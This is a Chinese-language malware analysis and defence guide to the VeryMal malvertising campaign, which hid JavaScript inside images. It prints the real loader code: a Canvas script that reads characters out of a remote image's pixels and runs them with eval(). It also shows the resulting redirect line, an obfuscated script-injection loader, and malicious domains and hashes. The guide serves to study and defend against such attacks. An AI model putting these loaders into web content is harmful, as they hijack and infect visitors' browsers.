对隐藏在图像文件中的 JavaScript 恶意代码的详细分析
字数 1712 2025-08-06 08:35:16
隐藏在图像文件中的JavaScript恶意代码分析与防御指南
1. 隐写术恶意软件概述
隐写术(Steganography)是一种在其他非机密文本或数据中隐藏消息或信息的技术。近年来,攻击者开始利用这种技术在图像文件中隐藏JavaScript恶意代码,这种攻击被称为"基于图像的恶意软件"或"隐写恶意软件"。
关键特点:
- 图像本身无害,但包含可提取的恶意代码片段
- 需要特定处理才能提取并利用隐藏的代码
- 主要用于绕过传统安全检测机制
2. 典型攻击案例分析
2.1 VeryMal恶意广告活动
攻击流程:
- 恶意广告加载包含隐藏代码的图像
- JavaScript处理图像提取隐藏代码
- 执行提取的代码进行浏览器劫持
技术细节:
<canvas id='iak'></canvas>
<script>
var wsw = "10512";
var volton = "154c8e99-aad0-4658-b5fb-645c751ad42b";
var canvas = document['getElementById']('iak');
var ctx = canvas['getContext']('2d');
var image = new Image();
image['crossOrigin'] = '';
image['src'] = 'http://s.ad-pixel.com/sscc.jpg';
var rs = '';
var isSupportFontFamily = function (c) {
// 字体支持检测函数
};
image['onload'] = function () {
ctx['drawImage'](image, 0x0, 0x0);
var o = ctx['getImageData'](0x0, 0x0, image['width'], image['height']);
for (var p = 0x0, q = 0x0; q < 0x4b; p = p + 0x4, q++) {
rs += String['fromCharCode'](o['data'][p + 0x2]);
}
eval(rs)
}
</script>
代码解析:
- 创建Canvas元素用于图像处理
- 加载远程图像(s.ad-pixel.com/sscc.jpg)
- 使用Canvas API获取图像像素数据
- 从特定像素位置提取字符(每4个像素取第3个字节)
- 拼接提取的字符形成可执行代码
- 使用eval()执行提取的代码
提取的恶意代码:
top.location.href ='hxxp://veryield-malyst.com/' + volton + '?var1=' + wsw;
2.2 攻击演变历史
早期版本(2019年11月前):
<script type='text/javascript'>
var a = 'w';
var b = 'layback';
var c = 'Target'
var d = 'vailability';
var e = 'vent';
var kk = 'c330e369ea42';
var f = a.toUpperCase() + 'ebKit' + 'P' + b + c + 'A' + d + 'E' +e;
if(f in window) {
var sc = document.createElement("script");
var mandow = "79d5e561-1a8d-48f6-abdb-495df89ec5e.";
var ctt = "s3.amazonaws.com";
sc.setAttribute("src", "https://" + mandow + ctt + "/csqc.js");
sc.setAttribute("type", "text/javascript");
document.head["app" + "endC" + "hild"](sc);
}
</script>
特点变化:
- 早期:直接使用混淆的JavaScript
- 后期:采用隐写术隐藏payload
- 目标:从美国访客扩展到更广泛群体
3. 恶意软件分发机制
3.1 重定向链
- 初始域名:veryield-malyst.com
- 通过302重定向到adpiano.com(点击跟踪器)
- 最终跳转到恶意下载页面
3.2 常见恶意域名模式
- *.liteflash.icu
- *.aflash.icu
- *.greatliteflash.icu
- *.yourbestsiteforlinksitenew.xyz
- *.theperfectupdate4everyone.xyz
3.3 恶意文件分发
Mac平台:
- 文件名:AdobeFlashPlayerInstaller.iso
- SHA-256:75426777c469dbce816dc197b5bef518f4eca577e9c53e4679d81db2780a262f
- 签名:使用伪造的Apple Team ID(2J5Q8FU8C6)
Windows平台:
- 通常伪装成Flash更新或系统修复工具
- 使用AES-256加密payload
4. 恶意软件技术分析
4.1 Mac平台payload分析
- 使用Base64编码的shell脚本
- 多层解密:
openssl enc -d -aes-256-cbc -nosalt -pass pass:5683436752 -in enc.out -out enc.out.bin - 最终下载并执行受密码保护的ZIP文件
4.2 攻击基础设施特点
- 主要使用.icu域名
- 托管在AWS IP空间
- 使用非常短的TTL(快速更换域名)
- 参数化URL生成
5. 影响与危害
5.1 影响范围
- 高峰期间每天超过500万次攻击
- 主要针对美国用户
- 影响前100家出版商中的25%
5.2 经济损失
- 单日峰值影响估计超过120万美元
- 多方面损失:
- 出版商:中断的用户会话、广告拦截增加、用户信任损失
- 广告交易平台:资源切断、库存撤销
- 广告客户:广告欺诈
- 用户:设备感染
6. 检测与防御措施
6.1 检测方法
- 监控Canvas API的异常使用
- 检测图像加载后的像素数据读取行为
- 关注eval()函数执行动态生成的代码
- 识别非常规的字体支持检测
6.2 防御建议
对于用户:
- 保持浏览器和操作系统更新
- 警惕伪装成Flash更新的下载
- 使用广告拦截扩展
- 避免点击可疑广告
对于企业:
- 实施内容安全策略(CSP)
- 监控和过滤恶意广告
- 部署行为分析解决方案
- 定期审查第三方脚本
对于开发者:
- 限制Canvas API的使用权限
- 实施子资源完整性检查
- 使用沙盒环境执行不受信任的代码
- 监控eval()、Function()等动态代码执行
7. 总结
基于隐写术的JavaScript恶意代码攻击代表了广告恶意软件领域的技术演进,它通过:
- 利用合法Web API(Canvas)隐藏恶意行为
- 绕过传统的基于签名的检测
- 实现高度动态的payload分发
防御这类攻击需要多层防护策略,结合技术控制、用户教育和持续监控。随着攻击者不断改进其技术,安全社区必须保持警惕,及时更新防御措施。